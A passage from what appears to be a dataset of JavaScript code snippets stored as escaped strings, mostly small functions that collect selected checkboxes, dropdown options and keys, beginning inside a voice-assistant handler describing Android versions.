2016, it was officially released on August 22, 2016, with Nexus devices being the first to receive the update. Now tell me if there\\'s anything else you want to know about Android.? ')\n .addBasicCard(app.buildBasicCard('Nougat introduces notable changes to the operating system and its development platform, including the ability to display multiple apps on-screen at once in a split-screen view, support for inline replies to notifications, and an expanded \"Doze\" power-saving mode that restricts device functionality once the screen has been off for a period of time. Additionally, the platform switched to an OpenJDK-based Java environment and received support for the Vulkan graphics rendering API, and \"seamless\" system updates on supported devices.')\n .setTitle('Nougat')\n .addButton('Read more')\n .setImage('https://9to5google.files.wordpress.com/2016/07/nougat.jpg?quality=82&strip=all&w=1000', 'Nougat')\n)\n);\n } else {\n app.ask('Android \"Nougat\" (codenamed Android N during development) is the seventh major version of the Android operating system. First released as an alpha test version on March 9, 2016, it was officially released on August 22, 2016, with Nexus devices being the first to receive the update. Now tell me if there\\'s anything else you want to know about Android?. Maybe android history or what is android AOSP');\n}\n } else if (param === SELECTION_KEY_O) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Android \"O\" is the codename of an upcoming release of the Android mobile operating system. It was first released as an alpha quality developer preview on March 21, 2017. The second developer preview was released on May 17, 2017, and it is considered beta quality. The third developer preview was released on June 8, 2017 and finalizes the API. Now tell me if there\\'s something else that might you interested about Android?.')\n .addBasicCard(app.buildBasicCard('Android \"O\" is the codename of an upcoming release of the Android mobile operating system. It was first released as an alpha quality developer preview on March 21, 2017. The second developer preview was released on May 17, 2017, and it is considered beta quality. The third developer preview was released on June 8, 2017 and finalizes the API')\n .setTitle('Android O')\n .addButton('Read more')\n .setImage('https://www1-lw.xda-cdn.com/files/2017/03/android-o-logo1.png', 'Android O')\n)\n);\n } else {\n app.ask('Android \"O\" is the codename of an upcoming release of the Android mobile operating system. It was first released as an alpha quality developer preview on March 21, 2017. The second developer preview was released on May 17, 2017, and it is considered beta quality. The third developer preview was released on June 8, 2017 and finalizes the API. Now tell me if there\\'s something else that might you interested about Android?. Maybe android history or what is android AOSP');\n}\n } else {\n app.ask('Sorry but You selected an unknown item');\n } \n}", "getSelectionFromUser(msg, items, selectedItemIndex) {\n selectedItemIndex = selectedItemIndex || 0\n\n var accessory = NSComboBox.alloc().initWithFrame(NSMakeRect(0,0,200,25))\n accessory.addItemsWithObjectValues(items)\n accessory.selectItemAtIndex(selectedItemIndex)\n\n var alert = NSAlert.alloc().init()\n alert.setMessageText(msg)\n alert.addButtonWithTitle('OK')\n alert.addButtonWithTitle('Cancel')\n alert.setAccessoryView(accessory)\n\n var responseCode = alert.runModal()\n var sel = accessory.indexOfSelectedItem()\n\n return [responseCode, sel]\n }", "function choose() {\n var checkBox = document.querySelectorAll('input[type=\"checkbox\"]:checked'),\n radioButton = document.querySelectorAll('input[type=\"radio\"]:checked');\n if (checkBox.length) {\n inputs = checkBox\n } else {\n inputs = radioButton\n }\n var names = [].map.call(inputs, function (input) {\n return input.value;\n }).join(','),\n input = JSON.parse(\"[\" + names + \"]\");\n selections[questionCounter] = input;\n }", "function getChosenValuesFromList(divID) {\r\n var chosenItems = [];\r\n var itemDropDown = document.getElementById(divID);\r\n for (var i = 0; i < itemDropDown.options.length; i++) {\r\n if (itemDropDown.options[i].selected == true) {\r\n var itemName = itemDropDown.options[i].value;\r\n chosenItems.push(itemName);\r\n }\r\n }\r\n\r\n return chosenItems;\r\n}", "function keyAndTimeSignature() {\n\n var timeSignature = document.getElementsByTagName('option');\n\n //zero out the array\n var keyAndTimeSig = [];\n \n for (var i = 0; i < timeSignature.length; i++) {\n\n // create an array for the time signature\n if (timeSignature[i].selected == true) {\n\n var keyAndTimeSigAdd =[timeSignature[i].value];\n Array.prototype.push.apply(keyAndTimeSig, keyAndTimeSigAdd); \n }\n }\n console.log(\"key\", keyAndTimeSig);\n return keyAndTimeSig;\n}", "function scanSelection() {\n if (exist) {\n var activeItem = app.project.activeItem, result = [];\n if (activeItem != null && activeItem instanceof CompItem) {\n if (activeItem.selectedLayers.length > 0) {\n for (var i = 0; i < activeItem.selectedLayers.length; i++) {\n var layer = activeItem.selectedLayers[i];\n if (layer.property(\"sourceText\") === null) {\n result.push(layer.index);\n if (layer.selectedProperties.length > 0) {\n for (var e = 0; e < layer.selectedProperties.length; e++) {\n var prop = layer.selectedProperties[e];\n result.push(prop.propertyIndex);\n }\n }\n }\n }\n }\n }\n return result;\n }\n}", "function _get_selected(){\n \tvar ret_list = [];\n\tvar selected_strings =\n\t jQuery('#'+ sul_id).sortable('toArray', {'attribute': 'value'});\n \tus.each(selected_strings, function(in_thing){\n\t if( in_thing && in_thing !== '' ){\n\t\tret_list.push(in_thing);\n\t }\n\t});\n\treturn ret_list;\n }", "getPickedServices(){\n let whatIsPicked = [];\n //#1 - iterate categories\n this.myServices.forEach((category)=>{ \n //#2 - iterate subcategories\n category.subCategories.forEach((subCategory)=>{ \n //#3 - iterate services to check witch ones are picked\n subCategory.options.forEach((service)=>{\n //#4 - push it if picked\n if(service.optionSelected){\n whatIsPicked.push(service.optionId);\n }\n })\n });\n\n });\n\n //#10 - Finaly, return what is picked\n return whatIsPicked;\n\n }", "function getSelectedTaskKeys() {\n const results = {};\n const tasks = getTasks('include-collapsed');\n for (const task of tasks) {\n if (checkTaskIsSelected(task)) {\n const key = getTaskKey(task);\n results[key] = true;\n }\n }\n return results;\n }", "get selectedKeys() {\n return this.state.selectedKeys === 'all' ? new Set(this.getSelectAllKeys()) : this.state.selectedKeys;\n }", "function getCheckedItems(view) {\n var checkedItemIds = [];\n $(\"#\" + view + \" tbody input[type=checkbox]:checked\").each(function () {\n // Get id\n var id = $(this).closest(\"tr\").attr(\"id\");\n // Get inventory item value (Yes or No)\n // Inventory? field is in different column in view_16 (column index 3) and view_60 (column index 2)\n // Let's define which column to get value from based on view\n var tableColumnIndex;\n if (view === \"view_16\") {\n tableColumnIndex = 3;\n } else if (view === \"view_60\") {\n tableColumnIndex = 2;\n }\n\n var isInventoryItem = $(this).closest(\"tr\").children()[\n tableColumnIndex\n ].innerText;\n checkedItemIds.push({ id: id, isInventoryItem: isInventoryItem });\n });\n return checkedItemIds;\n }", "_onChangeMulti(option) {\n\n let selected = option.selected;\n let key = option.key;\n\n var keys = [...this.state._selectedIndices];\n let included = keys.includes(key);\n\n //If selected, let's add it to our tracking array prop.\n if (selected && included == false) {\n keys.push(key);\n }\n else if (selected == false && included) {\n\n //Otherwise let's remove it from our tracking array. \n var filtered = keys.filter(\n function (currVal) {\n return currVal != key;\n });\n\n // Now we set the filtered array to the keys array.\n keys = filtered;\n }\n\n this.setState(\n {\n _selectedIndices: keys,\n isDirty: true,\n }\n )\n }", "function select(item){\r\n alert(item.text+\",\"+item.value);\r\n}", "function getAllSelectedTaskCheckboxes()\n{\n return $$(\"input.doedit\");\n}", "function checkboxSelected(inputID){\n let outputArray = [];\n for(let i = 0; i < inputID.length; i++){\n if(inputID[i].checked === true){\n outputArray.push(inputID[i].value);\n }\n }\n return outputArray;\n}", "function getSelectedAreaFilterItems() {\n let i = 0;\n let selected = [];\n $('#areaFilter input:checked').each(function () {\n selected[i++] = $(this).val();\n });\n return selected;\n }", "checkSelected(keys){\n const selected = this.props.selected;\n const correct = this.props.correct;\n if(selected != null) {\n \n if(selected.indexOf(keys) >= 0 && correct.indexOf(keys) >= 0) {\n return \"key chosen\";\n } else if (selected.indexOf(keys) >= 0 && correct.indexOf(keys) <= 0) {\n return \"key wrong\";\n } else {\n return \"key\";\n }\n }\n }", "function di_get_selected_areas_values()\n{\n\tvar RetVal = '';\n\n\ttry\n\t{\t\t\n\t\tRetVal = di_qds_get_selected_areas();\n\t}\n\tcatch(err){}\n\t\n\treturn RetVal;\n}", "static getAllSelection(){\n selected = JSON.parse(localStorage.getItem(\"SELECTED_LIST\")) || [];\n return selected;\n }", "function allItemsSelected(aComponent) {\n\n var numOfItems = aComponent.options.length;\n\tvar numItemSelected= 0;\n for (var i=0; i<aComponent.options.length; i++) {\n if (aComponent.options[i].selected && aComponent.options[i].value != \"\") {\n numItemSelected ++;\n\t\t}\n\t}\t\n\tif ( numOfItems == numItemSelected ){ // all items selected\t \n \treturn false;\n\t }\n\treturn true;\n}", "function charInputsSelected() {\n var charArray = []\n if (numberInput.checked == true) {\n charArray.push(\"numeric\")\n }\n if (lowerInput.checked == true) {\n charArray.push(\"lowercase\") \n }\n if (upperInput.checked == true) {\n charArray.push(\"uppercase\")\n }\n if (specialInput.checked == true) {\n charArray.push(\"specialChar\")\n }\n\n // make sure that the appropriate conditions are met\n if (charArray.length == 0) {\n // print error message to p tag on screen\n charErrorString.textContent = 'you must select atleast one character type to include'\n }\n\n return(charArray)\n}", "function skillChoices()\r\n{\r\n const choices = document.querySelectorAll('input[name=\"skillchoice\"]');\r\n let selectedValue = [];\r\n for (const choice of choices) {\r\n if (choice.checked) {\r\n selectedValue.push(choice.value);\r\n }\r\n }\r\n return selectedValue.toString();\r\n}", "function di_get_selected_indicators_values()\n{\n\tvar RetVal = '';\n\t\n\ttry\n\t{\t\n\t\tRetVal = di_qds_get_selected_indicators();\n\t}\n\tcatch(err){}\n\n\treturn RetVal;\n}", "getSelectedIds() {\n return Object.keys(this._features).filter(id => this._features[id].selected === true);\n }", "function getSelectedOptions(item) {\n var selectedOptions = null;\n if (item.variant && item.variant.length > 0) {\n var options = item.variant;\n selectedOptions = [];\n for (var j = 0; j < options.length; j++) {\n selectedOptions.push({'optionName': options[j].optionName, 'optionValue': options[j].optionValue});\n }\n }\n return selectedOptions;\n }", "handleNewLetter(e){\n //the letter they typed in//\n console.log(e.target.value);\n\n //if there is a match with the item name add it to this array\n let selected_items = [];\n //converted all the input letter to lower case\n let input_letters = e.target.value.toLowerCase();\n\n //when the user deletes everything in the input it will display all packages again\n if(e.target.value === \"\" && this.state.selectValue === \"All Categories\"){\n this.setState({listOfPackages: this.state.allPackages})\n \n }else{\n\n //first checking if there are items at all\n if(this.state.listOfItems.length !== 0){\n\n //iterating through the list of items pulled from the DB\n for(var i = 0; i < this.state.listOfItems.length; i++){\n //converting each string to lowercase to match the input\n //we have to check the items name, description, and donor name\n let name = this.state.listOfItems[i].name.toLowerCase()\n let donor = this.state.listOfItems[i].donor.toLowerCase();\n let description = this.state.listOfItems[i].description.toLowerCase();\n\n //checking if the input matches any of the words in the item name\n //if there is a match add it to the array of selected items\n if(name.indexOf(input_letters) >= 0 || donor.indexOf(input_letters) >= 0 || description.indexOf(input_letters) >= 0){\n selected_items.push(this.state.listOfItems[i])\n }\n }\n }\n console.log(\"the selected items are: \", selected_items)\n\n //now that these selected items are the ones the user is looking for\n //the packages must be found that coresponds to them\n let selected_packages = [];\n\n //the user may also be searching for the package name so we have to add the selected package titles too\n // searching the packages in the DB if they match the key words too.\n for(var j = 0; j < this.state.allPackages.length; j++){\n \n let name = this.state.allPackages[j].name.toLowerCase();\n let description = this.state.allPackages[j].description.toLowerCase();\n let category = this.state.allPackages[j]._category\n\n if(name.indexOf(input_letters) >= 0 || description.indexOf(input_letters) >= 0){\n if(category === this.state.selectValue || this.state.selectValue === \"All Categories\"){\n selected_packages.push(this.state.allPackages[j])\n }\n }\n }\n \n //iterate through each item and check it to all the packages one at a time\n for(var i = 0; i < selected_items.length; i++){\n for(var j = 0; j < this.state.allPackages.length; j++){\n \n //if the selected item's package matches one of the package id's\n //AND if it has not already been added to the array, push it to the selected packages array\n\n if(selected_items[i]._package == this.state.allPackages[j]._id ){\n if(selected_packages.includes(this.state.allPackages[j]) === false){\n if(this.state.allPackages[j]._category == this.state.selectValue || this.state.selectValue == \"All Categories\"){\n selected_packages.push(this.state.allPackages[j]);\n }\n }\n }\n }\n }\n\n console.log(\"the selected packages based on the drop down restrictions: \",selected_packages);\n\n //repopulate the list of packages that will be rendered to the screen\n //sort the packages according to highest bid\n selected_packages.sort(function(a,b){return b._bids[b._bids.length - 1] - a._bids[a._bids.length - 1]})\n \n this.setState({listOfPackages: selected_packages})\n }\n\n }", "function SelectKeys(key, countFeat,jsonContent) {\r\n \r\n var k = 0;\r\n var content = [];\r\n \r\n //console.log(key);\r\n \r\n for(i in key) {\r\n \r\n \r\n if (i == 0){\r\n \r\n //Select the Environment Root content\r\n var content1 = FindKeysContent(key[i],jsonContent);\r\n content = repeatelem(content1,countFeat);\r\n countFeat = 0;\r\n \r\n }\r\n \r\n if (i>0){\r\n\r\n \r\n content[countFeat] = FindKeysContent(key[i],content[countFeat]);\r\n countFeat = countFeat+1;\r\n \r\n \r\n }\r\n \r\n }\r\n return content;\r\n}", "function getCurrentSGSelections() {\n var selections = {\n state : $(\"#PB_GROUPXLOCATION\").val(),\n pbGroupId : $(\"#PB_GROUPXPB_GROUP_ID\").val(),\n acceptingPatientId : $(\"#PROV_ACCEPTING_PATIENTXACCEPTING_PATIENT\").val()\n };\n\n return selections;\n}", "onItemSelectChange(checked, itemKey) {\n const { selectedItems } = this.state;\n if(checked) {\n this.setState({ selectedItems: [ ...selectedItems, itemKey]});\n } else {\n this.setState({ selectedItems: selectedItems.filter(({ sid }) => sid !== itemKey.sid )})\n }\n }", "function getselected(current, target) {\n if (_.indexOf(current, target) > -1) {\n return []\n } else {\n return [target]\n }\n }", "function loadSelectionsFromCookies() {\n // Iterate over all items, selecting those that have a cookie stored which is equal to \"selected\" \n Object.keys(allItemNames).forEach(itemName => {\n itemNameSafe = allItemNames[itemName]\n itemCookie = localStorage.getItem(itemNameSafe)\n if (itemCookie != null) {\n if (itemCookie == \"selected\") {\n // Call selectItem to add the item to the internal list of selected items without updating the display, as updating the display for each item\n // causes page-freezing lag\n selectItem(itemName)\n }\n }\n })\n // Now that all of the selected items are displayed as pressed and listed in the selectedItems array, update the displayed list of components\n updateSelectedItemComponents()\n}", "function selectedItems() {\n\n\tvar c = document.getElementById('displayCart')\n\tc.innerHTML = ''\n\n\n\t// build list of selected item\n\tvar para = document.createElement('P')\n\tpara.innerHTML = 'You selected : '\n\tpara.appendChild(document.createElement('br'))\n\tfor (i = 0; i < cart.length; i++) {\n\t\tpara.appendChild(document.createTextNode(cart[i].name))\n\t\tpara.appendChild(document.createElement('br'))\n\t}\n\n\t// add paragraph and total price\n\tc.appendChild(para)\n\tc.appendChild(\n\t\tdocument.createTextNode('Total Price is ' + getTotalPrice(cart))\n\t)\n}", "function getLicences() {\n\n //these are the licenses provided from the spec that the user can select in a dropdown format\n const licenses = [\"CC BY\", \"CC BY-NC\", \"CC BY-NC-ND\", \"CC BY-NC-SA\", \"CC BY-SA\", \"EMUCL\", \"GFDL\", \"GGPL\", \"OPL\", \"PD\"]\n const licenseList = document.getElementById('license-select');\n\n for(let i = 0; i < licenses.length; i++) {\n const licenseListItem = document.createElement(\"option\");\n licenseListItem.textContent = licenses[i];\n licenseListItem.value = licenses[i];\n licenseList.appendChild(licenseListItem);\n }\n\n $('#license-select').multiselect({\n includeSelectAllOption: true,\n buttonText: function(options, select) {\n return 'Select one or more';\n },\n onChange: function(option, checked, select) {\n $(option).each(function(index, id) {\n let i = licenseArr.indexOf(id.value);\n if (i === -1) {\n licenseArr.push(id.value); \n } else {\n licenseArr.splice(i, 1);\n if (licenseArr.length === 0) {\n licenseArr.push(0);\n }\n }\n });\n searchBooksObj.licenseCodes = licenseArr;\n },\n onSelectAll: function() {\n searchBooksObj.licenseCodes = $('#license-select').val();\n }\n });\n}", "function keyActionAvailable(selectedKey, inputActions) {\n var keys = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '#', '*'];\n\n _.forEach(inputActions, function (inputAction) {\n if (inputAction.key !== selectedKey) {\n _.pull(keys, inputAction.key);\n }\n\n });\n\n return keys;\n\n }", "function useItem() {\n for (i = 0; i < items.length; i++) {\n if (items[i].selected) {\n items[i].use();\n console.log(\"datt\");\n }\n }\n \n}", "selections() {\n let nombres = this.props.namesGenes;\n return (\n nombres.map(function (item, i) {\n return <option value={item} key={i}>{item}</option>\n }))\n }", "function $a0d645289fe9b86b$export$e7f05e985daf4b5f(props) {\n var _props_defaultSelectedKey;\n let [selectedKey, setSelectedKey] = (0, $58Phs$useControlledState)(props.selectedKey, (_props_defaultSelectedKey = props.defaultSelectedKey) !== null && _props_defaultSelectedKey !== void 0 ? _props_defaultSelectedKey : null, props.onSelectionChange);\n let selectedKeys = (0, $58Phs$useMemo)(()=>selectedKey != null ? [\n selectedKey\n ] : [], [\n selectedKey\n ]);\n let { collection: collection , disabledKeys: disabledKeys , selectionManager: selectionManager } = (0, $e72dd72e1c76a225$export$2f645645f7bca764)({\n ...props,\n selectionMode: \"single\",\n disallowEmptySelection: true,\n allowDuplicateSelectionEvents: true,\n selectedKeys: selectedKeys,\n onSelectionChange: (keys)=>{\n let key = keys.values().next().value;\n // Always fire onSelectionChange, even if the key is the same\n // as the current key (useControlledState does not).\n if (key === selectedKey && props.onSelectionChange) props.onSelectionChange(key);\n setSelectedKey(key);\n }\n });\n let selectedItem = selectedKey != null ? collection.getItem(selectedKey) : null;\n return {\n collection: collection,\n disabledKeys: disabledKeys,\n selectionManager: selectionManager,\n selectedKey: selectedKey,\n setSelectedKey: setSelectedKey,\n selectedItem: selectedItem\n };\n}", "choices() {\n const choiceArray = [];\n results.forEach(({ title }) => {\n choiceArray.push(title);\n });\n return choiceArray;\n }", "function defaultListSelectionHandler(selected) {\n for (inputId in selected) {\n var value = selected[inputId];\n populateFieldHTML(inputId, value);\n }\n}", "function getSelectedValues(options){return Array.from(options).filter(function(el){return el.selected;}).map(function(el){return el.value;});}", "function _findSelectedAltBomItems(altHeaderId) {\n var g = $scope.selectedItems.altbom[altHeaderId.toString()];\n if (!g) {\n return [];\n }\n return _.chain(g.parts)\n .reduce(function(memo, v, k) {\n if (v === true) {\n memo.push(parseInt(k));\n }\n return memo;\n }, []).value();\n }", "function getSelectedName() {\n\t\t\tif (items.length === 0 || !items[selected]) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\treturn items[selected];\n\t\t}", "get todo_items_selected() {\n let selectedTasks = getSelectedTasks();\n return selectedTasks.length > 0;\n }", "getDeviceSelection() {\n const selectionArray = [];\n const deviceIdList = Object.keys(this.props.devices);\n /* Iterate through all the devices */\n for (let i = 0; i < deviceIdList.length; i++) {\n const deviceId = deviceIdList[i];\n const { name, active } = this.props.devices[deviceId];\n /* Add an option for the device if it is active */\n if (active) {\n /* Push the object */\n selectionArray.push(\n <option key={selectionArray.length} value={deviceId}>{name}</option>\n );\n }\n }\n /* provide a default */\n if (!selectionArray.length) {\n return (<option value='noDevices'>NO DEVICES</option>);\n }\n return selectionArray;\n }", "select() {\n\t\tconsole.log('Selected. Yay');\n\t\tconst selected = this.menuData[this.cursor].id;\n\n\t\tconst items = [];\n\t\tfor (let i = 0; i < this.menuData.length; i++) {\n\t\t\tlet addItem = null;\n\t\t\tconsole.log('Item type ' + this.menuData[i].type);\n\t\t\tif (this.menuData[i].type === MenuTypes.SLIDER) {\n\t\t\t\tconsole.log('Evaluating Slider');\n\t\t\t\taddItem = {\n\t\t\t\t\tid: this.menuData[i].id,\n\t\t\t\t\tvalue: this.menuData[i].input.value\n\n\t\t\t\t};\n\t\t\t}\n\t\t\tif (this.menuData[i].type === MenuTypes.EDIT) {\n\t\t\t\tconsole.log('Evaluating edit item');\n\t\t\t\taddItem = {\n\t\t\t\t\tid: this.menuData[i].id,\n\t\t\t\t\tvalue: this.menuData[i].input.value\n\n\t\t\t\t};\n\t\t\t}\n\t\t\tif (this.menuData[i].type === MenuTypes.SELECTOR) {\n\t\t\t\tconsole.log('Evaluating selector');\n\t\t\t\tlet selectedID = 0;\n\t\t\t\tconst items = document.getElementsByName(this.menuData[i].id);\n\t\t\t\tfor (let j = 0; j < items.length; j++) {\n\t\t\t\t\tif (items[j].checked) {\n\t\t\t\t\t\tselectedID = j;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\taddItem = {\n\t\t\t\t\tid: this.menuData[i].id,\n\t\t\t\t\tvalue: selectedID,\n\n\t\t\t\t\tname: this.menuData[i].options[selectedID]\n\t\t\t\t};\n\t\t\t}\n\t\t\titems.push(addItem);\n\t\t}\n\n\t\tconst toReturn = {\n\t\t\tselected,\n\t\t\tcursor: this.cursor,\n\t\t\titems\n\t\t};\n\t\tif (this.sndChoose) this.sndChoose.play();\n\n\t\tthis.selectCallback(toReturn);\n\t}", "function selectedValue(obj) {\n var objCtrl = document.getElementById(obj);\n var retValue = \"\";\n if (objCtrl) {\n //retValue = objCtrl.value;\n if (obj == \"Keywords\") {\n retValue = objCtrl.value;\n if (retValue == 'Enter keyword(s)')\n retValue = \"\";\n }\n else {\n for (var i = 0; i < objCtrl.options.length; i++) {\n if (objCtrl.options[i].selected) {\n if (retValue && objCtrl.options[i].value.indexOf('|') > 0)\n retValue += '|' + objCtrl.options[i].value;\n else if (retValue)\n retValue += ',' + objCtrl.options[i].value;\n else\n retValue = objCtrl.value;\n\n }\n\n }\n }\n\n }\n return retValue;\n}", "function _collectChecks() {\n var lReturn = [];\n var lSelect = $x_FormItems( that.spreadsheet_id, 'CHECKBOX' );\n for(var i=0,l=lSelect.length;i<l;i++){\n if(lSelect[i].checked && lSelect[i].id){\n lReturn[lReturn.length]=lSelect[i].value;\n }\n }\n return lReturn;\n }", "getSelection() {\r\n return this._selectedIds;\r\n }", "function selectedItems(){\n\t\n\tvar ele = document.getElementsByName(\"product\");\n\tvar chosenProducts = [];\n\t\n\tvar c = document.getElementById('displayCart');\n\tc.innerHTML = \"\";\n\t\n\t// build list of selected item\n\tvar para = document.createElement(\"P\");\n\tpara.innerHTML = \"You selected : \";\n\tpara.appendChild(document.createElement(\"br\"));\n\tpara.appendChild(document.createElement(\"br\"));\n\tfor (let i = 0; i < ele.length; i++) { \n\t\tif (ele[i].checked) {\n\t\t\tpara.appendChild(document.createTextNode(ele[i].value));\n\t\t\tpara.appendChild(document.createElement(\"br\"));\n\t\t\tpara.appendChild(document.createElement(\"br\"));\n\t\t\tchosenProducts.push(ele[i].value);\n\t\t}\n\t}\n\t\t\n\t// add paragraph and total price\n\tc.appendChild(para);\n\tc.appendChild(document.createTextNode(\"Total Price is $\" + getTotalPrice(chosenProducts)));\n\t\t\n}", "function get_selected_checkboxes_array(){\n var ch_list=[]\n $(\"input:checkbox[type=checkbox]:checked\").each(function(){\n ch_list.push($(this).val());\n });\n return ch_list;\n}", "function getKeywords() {\n \n for (let selection of selections) {\n for (let category of aliasData['categories']) {\n if (category.keyword.toLowerCase() == selection) {\n keywordAliases.push(...category.aliases)\n }\n }\n }\n\n\t\tdisplayFilters();\n\t}", "function get_selected(selObject){\n var arSelected = new Array(); \n \n for (i=0;i<selObject.options.length;i++){\n if (selObject.options[i].selected==true){\n arSelected.push('\\''+selObject.options[i].value+'\\'');\n };\n }\n onts=arSelected.join(',');\n return onts\n \n}", "function selectMultiple(ev, use_parent){\n var Dom = YAHOO.util.Dom,\n Event = YAHOO.util.Event;\n \n var dd = null;\n var tar = Event.getTarget(ev);\n if(use_parent){\n tar = tar.parentNode;\n } \n var kids = tar.parentNode.getElementsByTagName(tar.tagName);\n //Event.stopEvent(ev);\n //If the shift key is pressed, add it to the list\n if (ev.metaKey || ev.ctrlKey) {\n if (tar.className.search(/selected/) > -1) {\n Dom.removeClass(tar, 'selected');\n } else {\n Dom.addClass(tar, 'selected');\n }\n }else if(ev.shiftKey) {\n var sel = false;\n for (var i = 0 ; i < kids.length ; i++){\n if(!sel && kids.item(i).className.search(/selected/) > -1){\n sel = true;\n }\n if(sel){\n Dom.addClass(kids.item(i), 'selected');\n }\n if(kids.item(i) == tar){ // shift clicked elem reached\n if(!sel){ //selection either below or no other row selected\n for (var ii = i ; ii < kids.length ; ii++){\n if(!sel && kids.item(ii).className.search(/selected/) > -1){\n sel = true;\n }else if(sel && kids.item(ii).className.search(/selected/) == -1){\n break;\n }\n Dom.addClass(kids.item(ii), 'selected');\n }\n if(!sel){ //no second row selected\n for (var ii = i + 1 ; i < kids.length ; i++){\n Dom.removeClass(kids.item(ii), 'selected');\n }\n }\n }\n break; \n }\n }\n }else {\n for (var i = 0 ; i < kids.length ; i++){\n kids.item(i).className = '';\n }\n Dom.addClass(tar, 'selected');\n }\n \n //clear any highlighted text from the defualt shift-click functionality\n clearSelection();\n}", "getState() {\n return Object.keys(this.items).reduce((acc, k) => {\n const value = this.items[k]\n if (hasKey(value))\n acc.push(value)\n else if (value)\n acc.push(k)\n return acc;\n }, []);\n }", "function MUPM_get_selected_depbases(){\n //console.log( \" --- MUPM_get_selected_depbases --- \")\n const tblBody_select = document.getElementById(\"id_MUPM_tbody_select\");\n let dep_list_arr = [];\n for (let i = 0, row; row = tblBody_select.rows[i]; i++) {\n let row_pk = get_attr_from_el_int(row, \"data-pk\");\n // skip row 'select_all'\n if(row_pk){\n if(!!get_attr_from_el_int(row, \"data-selected\")){\n dep_list_arr.push(row_pk);\n }\n }\n }\n dep_list_arr.sort((a, b) => a - b);\n const dep_list_str = dep_list_arr.join(\";\");\n //console.log( \"dep_list_str\", dep_list_str)\n return dep_list_str;\n } // MUPM_get_selected_depbases", "function checkSelectedItems(list) {\n if (list.every(item => item.done === true)) {\n selectedAll = true;\n selectBtn.innerHTML = 'Unselect All';\n } else {\n selectedAll = false;\n selectBtn.innerHTML = 'Select All';\n }\n}", "select(item, notify) {\n notify = typeof notify === 'undefined' ? true : notify;\n\n var key = this._getKeyByItem(item);\n if (this.multiSelection) {\n if (this.selectedKeys.indexOf(key) == -1) {\n this.push('selectedKeys', key);\n }\n } else {\n this.set('selectedKey', key);\n }\n if (notify) this._fireCustomEvent(this, \"selection-changed\", { selected: [key] });\n }", "function getOptionsSelected() {\n var Merchselected = [];\n var options = document.getElementById(\"merchant-options\").getElementsByClassName(\"fancy-checkbox\");\n var options = options[0].childNodes;\n\n for (var i = 1; i < options.length; i++) {\n if (options[i].checked) {\n Merchselected.push(options[i + 1].childNodes[0].innerHTML);\n }\n }\n\n var Buyerselected = [];\n var options = document.getElementById(\"buyer-options\").getElementsByClassName(\"fancy-checkbox\");\n var options = options[0].childNodes;\n\n for (var i = 1; i < options.length; i++) {\n if (options[i].checked) {\n Buyerselected.push(options[i + 1].childNodes[0].innerHTML);\n }\n }\n\n\n selectedOptions = { \"MerchantOptions\": Merchselected, \"BuyerOptions\": Buyerselected, \"PayOptions\": [], \"ItemOptions\": [] };\n optionalCurrMerchData = addOptionsSelected(\"MerchantOptions\");\n updateFrontEnd(rankings(optionalCurrMerchData, $(\"#merchantTopRanks\").val()), \"merchants-tables\", \"merchant\");\n\n optionalCurrBuyerData = addOptionsSelected(\"BuyerOptions\");\n updateFrontEnd(rankings(optionalCurrBuyerData, $(\"#buyerTopRanks\").val()), \"buyers-tables\", \"user\");\n\n var currPage = $(\"#selectedDisplay\").text();\n if (currPage == \"Merchants\") {\n currData = rankings(optionalCurrMerchData, $(\"#merchantTopRanks\").val());\n }\n else if (currPage == \"Buyers\") {\n currData = rankings(optionalCurrBuyerData, $(\"#buyerTopRanks\").val());\n }\n\n\n}", "getRemainingSelectedItems () {\n let selectedItems = this.get('selectedItems')\n let vals = this.get('values')\n return Ember.A(\n _.filter(selectedItems, (item) => vals.indexOf(item) >= 0)\n )\n }", "function selectedItems(){\n\t\n\tvar ele = document.getElementsByName(\"product\");\n\tvar chosenProducts = [];\n\t\n\tvar c = document.getElementById('displayCart');\n\tc.innerHTML = \"\";\n\t\n\t// build list of selected item\n\tvar para = document.createElement(\"P\");\n\tpara.innerHTML = \"You selected: \";\n\tpara.appendChild(document.createElement(\"br\"));\n\tpara.appendChild(document.createElement(\"br\"));\n\tfor (i = 0; i < ele.length; i++) { \n\t\tif (ele[i].checked) {\n\t\t\tpara.appendChild(document.createTextNode(ele[i].value));\n\t\t\tpara.appendChild(document.createElement(\"br\"));\n\t\t\tpara.appendChild(document.createElement(\"br\"));\n\t\t\tchosenProducts.push(ele[i].value);\n\t\t}\n\t}\n\t\t\n\t// add paragraph and total price\n\tc.appendChild(para);\n\tc.appendChild(document.createTextNode(\"Total Price: $\" + getTotalPrice(chosenProducts).toFixed(2)));\n\t\t\n}", "function getSelectedElements()\n {\n return angular.isDefined($scope.lxSelectData.selected) ? $scope.lxSelectData.selected : [];\n }", "manuscriptsSelect(event) {\n let selectedShelfmarks = JSON.parse(\n JSON.stringify(this.props.selectedShelfmarks)\n );\n for (let ms of this.props.manuscripts) {\n let sm = ms.shelfmark;\n if (\n //which == \"All\" &&\n selectedShelfmarks.indexOf(sm) < 0\n ) {\n selectedShelfmarks.push(sm);\n } else {\n selectedShelfmarks = [];\n break;\n }\n }\n this.props.handleSelect(\"selectedShelfmarks\", selectedShelfmarks);\n }", "function getSelectedCheckboxValues(name) {\n const checkboxes = document.querySelectorAll(`input[name=\"${name}\"]:checked`);\n let values = [];\n checkboxes.forEach((checkbox) => {\n values.push(checkbox.value);\n });\n return values;\n}", "get rawSelection() {\n return this.state.selectedKeys;\n }", "isSelectionEqual(selection) {\n if (selection === this.state.selectedKeys) {\n return true;\n } // Check if the set of keys match.\n\n\n let selectedKeys = this.selectedKeys;\n\n if (selection.size !== selectedKeys.size) {\n return false;\n }\n\n for (let key of selection) {\n if (!selectedKeys.has(key)) {\n return false;\n }\n }\n\n for (let key of selectedKeys) {\n if (!selection.has(key)) {\n return false;\n }\n }\n\n return true;\n }", "onKeypress() {\n this.selectedKey = this.rl.line.toLowerCase();\n var selected = this.opt.choices.where({ key: this.selectedKey })[0];\n if (this.status === 'expanded') {\n this.render();\n } else {\n this.render(null, selected ? selected.name : null);\n }\n }", "onKeypress() {\n this.selectedKey = this.rl.line.toLowerCase();\n var selected = this.opt.choices.where({ 